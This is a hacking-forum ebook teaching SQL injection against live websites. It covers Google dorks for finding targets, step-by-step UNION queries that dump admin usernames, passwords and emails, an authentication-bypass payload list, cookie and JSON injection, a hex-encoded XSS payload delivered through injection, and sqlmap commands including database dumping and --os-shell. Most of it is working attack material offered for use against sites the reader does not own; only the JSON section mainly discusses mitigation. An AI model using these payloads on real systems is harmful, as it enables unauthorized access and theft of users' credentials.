Advanced SQL Injection

Just Became Easier

This Guide Was Written By Stuck
You Can Find Me On HF

Table of Contents

1. SQL Injection Using The URL
2. SQL Injection Authentication Bypass Cheat Sheet
3. SQL Injection through COOKIE
4. SQL Injection through JSON
5. SQL Injection through XSS
6. SQLMAP Cheat
7. Credits

SQL Injection Using The URL

Wikipedia's definition of SQL injection is, "SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. Lets go back to SQLI The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

You can also do it by using many tools such as SQLMAP which we will cover later in this book.

Part One - Website Assessment

For us to start exploiting a website we must first know exactly what we are injecting into. This is what we will be covering in Part One along with how to assess the information that we gather.

We need to start by find a vulnerable website. Vulnerable websites can be found using dorks which will be also included at the end of this section. You can find vulnerable websites using either Google or with an exploit scanner. If you don't understand what I mean by dorks then, dorks are website URLs that are possibly vulnerable. In SQL injection, these dorks look like this:

inurl:page.php?id= (not only page it can be anything ending with ?id=)

This black font will be inputted into Google's search bar and because of the "inurl:" part of the dork, the search engine will return results with URLs that contain the same characters. Some of the sites that have this dork on their website may be vulnerable to SQL injection.

Now let's say we found the page:
http://www.example.com/page.php?id=1

In order to test this site all we need to do is add a ' either in between the "=" sign and the "1" or after the "1" so it looks like this:
http://www.example.com/page.php?id=1'

or
http://www.example.com/page.php?id='1

After pressing enter, if this website returns an error such as the following:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home1/michafj0/public_html/gallery.php on line 5

Or something similar, this means it's vulnerable to injection.

Now we must figure out how many columns there are in the database.
If we want to use commands and get results we must know how many columns there are on the targeted website.
To find the number of columns we write a query with incrementing values until we get an error, like this:
http://www.example.com/page.php?id=1 ORDER BY 1-- <---No error

http://www.example.com/page.php?id=1 ORDER BY 2-- <---No error

http://www.example.com/page.php?id=1 ORDER BY 3-- <---No error

http://www.example.com/page.php?id=1 ORDER BY 4-- <---No error

http://www.example.com/page.php?id=1 ORDER BY 5-- <---ERROR!

This means that there are four columns!
Also don't type the black font into the URL.

DON'T FORGET TO INCLUDE THE DOUBLE NULL (--) AFTER THE QUERY.

VERY IMPORTANT!

Finding which columns are vulnerable

So we know that there are four columns now we have to find out which ones are vulnerable to injection. To do this we will use the UNION and SELECT queries while keeping the double null (--) at the end of the string.

http://www.example.com/page.php?id=-1 UNION SELECT 1,2,3,4--

Don't forget to put the extra null(-) in between the "=" sign and the value (the number).

page.php?id=-1

Now after entering that query you should be able to see some numbers somewhere on the page that seem out of place. Those are the numbers of the columns that are vulnerable to injection. We can use those columns to pull information from the database which we will see in.

Part Two - Gathering Information

In this part we will discover how to find the name of the database and what version of SQL the website is using by using queries to exploit the site.

Determining the SQL version.

Finding the version of the SQL of the website is a very important step because the steps you take for version 4 are quite different from version 5 to get what you want. In this tutorial, I will not be covering version 4.

If we look back to the end of Part One we saw how to find the vulnerable columns. Using that information, we can put together our next query (I will be using column 2 as an example). The command should look like this:

http://www.example.com/page.php?id=-1 UNION SELECT 1,@@version,3,4--

Because 2 is the vulnerable column, this is where we will place "@@version". Another string that could replace "@@version" is "version()".

If the website still does not display the version try using unhex(hex()) which looks like this:

http://www.example.com/page.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--

NOTE: If this method is used here, it must be used for the rest of the injection as well.

Now what you want to see is something along these lines:

5.1.44-community-log

Which is the version of the SQL for the website.

NOTE: If you see version 4 and you would like to have a go at it, there are other tutorials that explain how to inject into it.

Finding the database

To find the database we use a query like the one below:

http://www.example.com/page.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata--

This could sometimes return more results than necessary and so that is when we switch over to this query instead:

http://www.example.com/page.php?id=-1 UNION SELECT 1,concat(database()),3,4--

You now have the name of the database! Congratulations. Copy and paste the name somewhere safe, we'll need it for later.

Part Three - The Good Part

This is the fun part where we will find the usernames, emails and passwords!

Finding the table names

To find the table names we use a query that is like the one used for finding the database with a little bit extra added on:

http://www.example.com/page.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--

It may look long and confusing but once you understand it, it really isn't so. What this query does is it "groups" (group_concat) the "table names" (table_name) together and gathers that information "from" (FROM) information_schema.tables where the "table schema" (table_schema) can be found in the "database" (database()).

NOTE: While using group_concat you will only be able to see 1024 characters worth of tables so if you notice that a table is cut off on the end switch over to limit which I will explain now.

http://www.example.com/page.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--

What this does is it shows the first and only the first table. So if we were to run out of characters on let's say the 31st table we could use this query:

http://www.example.com/page.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 30,1--

Notice how my limit was 30,1 instead of 31,1? This is because when using limit is starts from 0,1 which means that the 30th is actually the 31st Tongue

You now have all the table names!

Finding the column names

Now that you have all of the table names try and pick out the one that you think would contain the juicy information. Usually they're tables like User(s), Admin(s),

tblUser(s) and so on but it varies between sites.

After deciding which table you think contains the information, use this query (in my example, I'll be using the table name "Admin"):

http://www.example.com/page.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="Admin"—

This will either give you a list of all the columns within the table or give you an error but don't panic if it is outcome #2! All this means is that Magic Quotes is turned on. This can be bypassed by using a hex or char converter (they both work) to convert the normal text into char or hex.

UPDATE: If you get an error at this point all you must do is follow these steps:

1. Copy the name of the table that you are trying to access.

2. Paste the name of the table into this website where it says "Say Hello To My Little Friend".

Hex/Char Converter

http://www.swingnote.com/tools/texttohex.php

3. Click convert.

4. Copy the string of numbers/letters under Hex into your query so it looks like this: http://www.example.com/page.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x41646d696e--

Notice how before I pasted the hex I added a "0x", all this does is tells the server that the following characters are part of a hex string.

You should now see a list of all the columns within the table such as username, password, and email.

NOTE: Using the limit function does work with columns as well.

Displaying the column contents

We're almost done! All we have left to do is to see what's inside those columns and use the information to login! To view the columns we need to decide which ones we want to see and then use this query (in this example I want to view the columns "username", "password", and "email", and my database name will be "db123"). This is where the database name comes in handy:

http://www.example.com/page.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM db123.Admin--

In this query, 0x3a is the hex value of a colon (which will group the username:password:email for the individual users just like that.

FINALLY! Now you have the login information for the users of the site, including the admin. All you have to do now is find the admin login page which brings us to Section Four.

Finding the admin page

Usually the admin page will be directly off of the site's home page, here are some examples:

http://www.example.com/admin

http://www.example.com/adminlogin

http://www.example.com/modlogin

http://www.example.com/moderator

Once again there are programs that will find the page for you but first try some of the basic guesses, it might save you a couple of clicks, if you do use a program.

SQL Injection Authentication Bypass Cheat Sheet

This list can be used by penetration testers when testing for SQL injection authentication bypass. A penetration tester can use it manually or through burp in order to automate the process. The creator of this list is Dr. Emin İslam TatlıIf (OWASP Board Member).

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--

admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

SQL Injection through COOKIE

All data sent by the browser to a Web application, if used in a SQL query, can be manipulated to inject SQL
GET and POST parameters, cookies and other HTTP headers. Some of these values can be found in the environment
variables. The GET and POST parameters are typically entered HTML forms, they can contain hidden fields, i.e.
information that is in form but not shown. GET parameters are contained in the URL and POST parameters are passed as
HTTP content. Nowadays, and with the growth of Web 2.0 technologies, the GET and POST requests can also be generated by
JavaScript.

Injecting malicious code in cookie:

Unlike other parameters, cookies are not supposed to be handled by users. Outside of session cookies which are
(usually) random, cookies may contain data in clear or encoded in hexadecimal, base64, hashes (MD5, SHA1), serialized
information. If we can determine the encoding used, we will attempt to inject SQL commands.

Did you say a “Cookie”?

A cookie, also known as an HTTP cookie, web cookie, or browser cookie, is used for an origin website to send state information to a user’s browser and for the browser to return the state information to the origin site. The state information can be used for authentication, identification of a user session, user’s preferences, shopping cart contents, or anything else that can be accomplished through storing text data.

Cookies are not software. They cannot be programmed, cannot carry viruses, and cannot install malware on the host computer. However, they can be used by spyware to track user’s browsing activities – a major privacy concern that prompted European and US law makers to act. Cookies could also be stolen by hackers to gain access to a victim’s web account.
Where can I find my cookies?

Here is one way to get your stored cookies using your browser. This method is applied for Mozilla Firefox:
From the Tools menu, select Options.
If the menu bar is hidden, press Alt to make it visible.
At the top of the window that appears, click Privacy.

To modify settings, from the drop-down menu under “History”, select Use custom settings for history. Then enable or disable the settings by checking or unchecking the boxes next to each setting:

To allow sites to set cookies on your computer, select Accept cookies from sites. To specify which sites are always or never allowed to use cookies, click Exceptions.
To accept third-party cookies, check Accept third-party cookies. In the drop-down menu, next to “Keep until:”, select the time period you wish to keep cookies on your computer.
To view the cookies stored on your computer, click Show Cookies…. In the window that appears, you can view the cookies on your computer, search for cookies, and remove any or all the listed cookies.
To specify how the browser should clear the private data it stores, check Clear history when Firefox closes. Then, click Settings…. You can specify the items to be cleared when you close Firefox.

Click OK until you return to the Firefox window.

To remove all cookies, from the Tools menu, select Clear recent history…. Check the items you want to clear, and then click Clear Now.
Are you talking about a Cookie Poisoning-like attack?

Cookie Poisoning attacks involve the modification of the contents of a cookie (personal information stored in a Web user’s computer) to bypass security mechanisms. Using cookie poisoning attacks, attackers can gain unauthorized information about another user and steal their identity.

Cookie poisoning is a known technique mainly for achieving impersonation and breach of privacy through manipulation of session cookies, which maintain the identity of the client. By forging these cookies, an attacker can impersonate a valid client, and thus gain information and perform actions on behalf of the victim. The ability to forge such session cookies (or more generally, session tokens) stems from the fact that the tokens are not generated in a secure way.

To sum up, cookie-based SQL Injection is far to be a kind of Cookie Poisoning.
Cookie variables as a vector of SQL Injections:
SQL injection overview

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the

DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input to affect the execution of predefined SQL commands.

All data sent by the browser to a Web application, if used in a SQL query, can be manipulated in order to inject SQL code: GET and POST parameters, cookies and other HTTP headers. Some of these values can be found in the environment variables. The GET and POST parameters are typically entered HTML forms, they can contain hidden fields, i.e. information that is in form but not shown. GET parameters are contained in the URL and POST parameters are passed as HTTP content. Nowadays, and with the growth of Web 2.0 technologies, the GET and POST requests can also be generated by JavaScript.
Injecting malicious code in cookie:

Unlike other parameters, cookies are not supposed to be handled by users. Outside of session cookies which are (usually) random, cookies may contain data in clear or encoded in hexadecimal, base64, hashes (MD5, SHA1), serialized information. If we can determine the encoding used, we will attempt to inject SQL commands.

```
function is_user($user) {
global $prefix, $db, $user_prefix;
if(!is_array($user)) {

$user = base64_decode($user);
$user = explode(“:”, $user);
$uid = “$user[0]”;
$pwd = “$user[2]”;
} else {
$uid = “$user[0]”;
$pwd = “$user[2]”;
}
if ($uid != “” AND $pwd != “”) {

$sql = “SELECT user_password FROM “.$user_prefix.”_users WHERE user_id=’$uid'”;
$result = $db->sql_query($sql);
$row = $db->sql_fetchrow($result);
$pass = $row[user_password];
if($pass == $pwd && $pass != “”) {
return 1;
}
}
```

```
return 0;
}
```

The cookie contains base64 encoded form identifier, a field that is unknown and a password. If we use as a cookie 12345 'UNION SELECT' mypass ':: mypass base64 encoded, the SQL query becomes:

SELECT user_password FROM nk_users WHERE user_id='12345' UNION SELECT 'mypass'

This query returns the password mypass, the same password as we have to provide. So we are connected.

How to inject the code in Cookies?

There are many HTTP interceptors and HTTP editors that can intercept the HTTP request before it is sent to the server. Then the tester can introduce his malicious SQL statement in the cookie field.

It's like a get/post based SQL Injection, except that certain characters can't be used. For example, ';' and ',' are typically treated as delimiters, so they end the injection if they aren't URL-encoded.

Limitations of Web Application Vulnerability Scanners:

Web application vulnerability scanners are not always capable of detecting all of the vulnerabilities and attack vectors that exist. In consequence, they may assert numerous false-negatives and false-positives. These were some of the results of a study named: "Closing the Gap: Analyzing the Limitations of Web Application Vulnerability Scanners" hold during the OWASP APPSEC DC 2010. The tests were based on many professional scanners: Burp suite professional, Acunetix, Wapiti, Grendel-Scan, W3af, N-Stalker, CENZIC, netsparker.

As far as cookie variable's injection is concerned, only 6,3% of the web application Vulnerability scanners had detected the implemented SQL injection vulnerabilities.

This rate looks like emphasize that the cookie vector is neglected when testing against SQL injections. Also, it's very low comparing to percentage of the detection of SQL injection in Form Inputs (59,7%).

Conclusion

Cookie variables sometimes are not properly sanitized before being used in SQL query. This can be used to bypass authentication or make any SQL query by injecting arbitrary SQL code. For

the web application audits, cookie variables should be added to the list of parameters to be checked.

SQL Injection through JSON

Many SQL query builders written in Perl do not provide mitigation against JSON SQL injection vulnerability.

Developers should not forget to either type-check the input values taken from JSON (or any other hierarchical data structure) before passing them to the query builders, or should better consider migrating to query builders that provide API immune to such vulnerability.

Background

Traditionally, web applications have been designed to take HTML FORMs as their input. But today, more and more web applications are starting to receive their input using JSON or other kind of hierarchically-structured data containers thanks to the popularization of XMLHttpRequest and smartphone apps.

Designed in the old days, a number of Perl modules including SQL::Maker have been using unblessed references to define SQL expressions. The following example illustrate how the operators are being specified within the users' code. The first query being generated consists of an equality match. The second query is generated using a hashref to specify the operator used for comparison.

```
use SQL::Maker;
my $maker = SQL::Maker->new(…);

# generates: SELECT * FROM `user` WHERE `name`=?
$maker->select('user', ['*'], {name => $query->param('name')});

# generates: SELECT * FROM `fruit` WHERE `price`<=?
$maker->select('fruit', ['*'], {price => {'<=', $query->param('max_price')}});
```

This approach did not receive any security concern at the time it was invented, when the only source of input were HTML FORMs, since it is represented as a set of key-value pairs where all values are scalars. In other words, it is impossible to inject SQL expressions via HTML FORMs due to the fact that there is a guarantee by the query parser that the right hand expression of foo (i.e. $query->param('foo')) is not a hashref.

JSON SQL Injection

But the story has changed with JSON. JSON objects are represented as hashrefs in Perl, and thus a similar code receiving JSON is vulnerable against SQL operator injection.

Consider the code below.

```
use SQL::Maker;
my $maker = SQL::Maker->new(…);

# find an user with given name
$maker->select('user', ['*'], {name => $json->{'name'}});
```

The intention of the developer is to execute an SQL query that fetches the user information by using an equality match. If the input is {"name": "John Doe"} the condition of the generated query would be name='John Doe', and a row related to the specified person would be returned.

But what happens if the name field of the JSON was an object? If the supplied input is {"name": {"!=", ""}}, then the query condition becomes name!='' and the database will return all rows with non-empty names. Technically speaking, SQL::Maker accepts any string supplied at the key part as the operator to be used (i.e. there is no whitelisting); so the attack is not limited to changing the operator. (EDIT: Jun 3 2014)

Similar problem exists with the handling of JSON arrays; if the name field of the JSON is an array, then the IN operator would be used instead of the intended = operator.

It should be said that within the code snippet exists an operator injection vulnerability, which is referred hereafter as JSON SQL injection. The possibility of an attacker changing the operator may not seem like an issue of high risk, but there are scenarios in which an unexpected result-set of queries lead to unintended information disclosures or other hazardous behaviors of the application.

To prevent such attack, application developers should either assert that the type of the values are not references (representing arrays/hashes in JSON), or forcibly convert the values to scalars as shown in the snippet below.

```
use SQL::Maker;
my $maker = SQL::Maker->new(…);
```

```
# find an user with given argument that is forcibly converted to string
$maker->select('user', ['*'], {name => $json->{'name'} . ''});
```

Programmers Deserve a Better API

As explained, the programming interface provided by the SQL builders including SQL::Maker is per spec. as such, and thus it is the responsibility of the users to assert correctness of the types of the data being supplied.

But it should also be said that the programming interface is now inadequate in the sense that it is prone to the vulnerability. It would be better if we could use a better, safer way to build SQL queries.

To serve such purpose, we have done two things:

developed SQL::QueryMaker
introduced strict mode to SQL::Maker

SQL::QueryMaker and the Strict Mode of SQL::Maker

SQL::QueryMaker is a module that we have developed and released just recently. It is not a fully-featured query builder but a module that concentrates in building query conditions. Instead of using unblessed references, the module uses blessed references (i.e. objects) for representing SQL expressions / exports global functions for creating such objects. And such objects are accepted by the most recent versions of SQL::Maker as query conditions.

Besides that, we have also introduced strict mode to SQL::Maker. When operating under strict mode, SQL::Maker will not accept unblessed references as its arguments, so that it would be impossible for attackers to inject SQL operators even if the application developers forgot to type-check the supplied JSON values.

The two together provides a interface immune to JSON SQL injection. The code snippet shown below is an example using the features. Please consult the documentation of the modules for more detail.

```
use SQL::Maker;
use SQL::QueryMaker;

my $maker = SQL::Maker->new(
…,
strict => 1,
);

# generates: SELECT * FROM `user` WHERE `name`=?
$maker->select('user', ['*'], {name => $json->{‘name'}});

# generates: SELECT * FROM `fruit` WHERE `price`<=?
$maker->select('fruit', ['*'], {price => sql_le($json->{‘max_price’})});
```

Similar Problem may Exist in Other Languages / Libraries

I would not be surprised if the same proneness exist in other modules of Perl or similar libraries available for other programming languages, since it would seem natural from the programmers' standpoint to change the behavior of the match condition based on the type of the supplied value.

Generally speaking application developers should not except that a value within JSON is of a certain type. You should always check the type before using them. OTOH we believe that library developers should provide a programming interface immune to vulnerabilities, as we have done in the case of SQL::Maker and SQL::QueryMaker.

SQL Injection through XSS

XSS Injection with SQLi (XSSsQLi)

Well After our discussion on different types of injection and places you can find SQL injection Vulnerability, an attacker can successfully exploit and SQL injection vulnerability and get access over the database and if he is enough lucky to get access to the File System also by uploading shell.

Now we are moving the whole scene to a different screen. Thinking What else and more we can do with a SQL Injection vulnerability. So here is SiXSS which stands for SQL Injection XSS attack. If you are new to XSS I would suggest you read N00bz Guide to XSS injection attack. Reading the guide will give you a basic understanding to XSS attach how it can be performed and what an attacker can achieve with XSS injection attack.

Over here we will only be concentrating over the SQL injection and how to perform a basic XSS attack using SQL injection, rest you can learn more on XSS to achieve a better result using the same XSS.

To achieve XSSsqli we must go through the following steps.

1. Finding the Vulnerability.
2. Preparing the Injectable Query.
3. Injecting XSS into the Query.

The Basic Way.

I don't like this way much as its flashes the error on the webpage and in many cases, you may not get the whole page but just a blank page with error and it’s not at all fun. But as it’s also one of the ways so let’s take a vulnerable website for example.

http://exploitable-web.com/link.php?id=1

when we put a single quote in the end of website we may get an error like.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 1

well this is the first point we can Inject XSS into the website. So this time rather than only the single quote we will Inject this:

' ;<img src=x onerror=prompt(/XSS/)>

The above injection will prompt up a dialog box saying XSS. This one is the basic attack. Now let us see how can we Injection XSS in a better way.

Finding the Vulnerability, Preparing the Injectable query all goes in the Basic SQL injection. Read them to continue.

I suppose you have read them all.

So let's continue with

Injecting XSS into the Query.

Once getting the Number of Column is done and we are ready with our Union Query. Let's assume we have 4 Columns so our Union query will be:

http://exploitable-web.com/link.php?id=1' union select 1,2,3,4--

Let's say the 3rd column gets printed on the webpage as output. So, we will inject our XSS payload into it. To make things simple we will encode our payload into hex.

Our XSS injection Payload

<img src=x onerror=confirm(/XSS/)>

Hex Encoded value

0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d282f5853532f293e

Injecting our payload:

http://exploitable-web.com/link.php?id=-1' union select 1,2,0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d282f5853532f293e,4--

The above URL will output the our XSS payload into the Website. This one is basic XSS payload, now we are free to do other things using XSS like Cookie stealing, XSS phishing,XSS iFrame Phishing, Chained XSS, Session Hijacking, CSRF attack, XssDdos and other attacks which I will release in a future book or just update this one.

SQLMAP Cheat

D

#Automated sqlmap scan
./sqlmap -u http://example.com--forms --batch --crawl=2 --cookie= --level=5 --risk=3

Test URL and POST data and return database banner (if possible)
./sqlmap.py --url="<url>" --data="<post-data>" --banner

Parse request data and test | request data can be obtained with burp
./sqlmap.py -u <request-file> <options>

Use random agent
./sqlmap.py -u <request-file> --random-agent

Fingerprint | much more information than banner
./sqlmap.py -u <request-file> --fingerprint

Identify WAF
./sqlmap.py -u <request-file> --check-waf/--identify

Get database username, name, and hostname
./sqlmap.py -u <request-file> --current-user --current-db --hostname

Check if user is a database admin
./sqlmap.py -u <request-file> --is-dba

Get database users and password hashes
./sqlmap.py -u <request-file> --users --passwords

Enumerate databases
./sqlmap.py -u <request-file> --dbs

List tables for one database
./sqlmap.py -u <request-file> -D <db-name> --tables

Other database commands
./sqlmap.py -u <request-file> -D <db-name> --columns
--schema
--count

```
# Enumeration flags
./sqlmap.py -u <request-file> -D <db-name>
-T <tbl-name>
-C <col-name>
-U <user-name>

# Extract data
./sqlmap.py -u <request-file> -D <db-name> -T <tbl-name> -C <col-name> --dump

# Execute SQL Query
./sqlmap.py -u <request-file> --sql-query="<sql-query>"

# Append/Prepend SQL Queries
./sqlmap.py -u <request-file> --prefix="<sql-query>" --suffix="<sql-query>"

# Get backdoor access to sql server | can give shell access
./sqlmap.py -u <request-file> --os-shell
```

Credits

A special thanks to the ***Open Lab Hacking Forum***

The Administrators and Moderators on the ***Open Lab Hacking Forum*** site helped me making this ebook possible.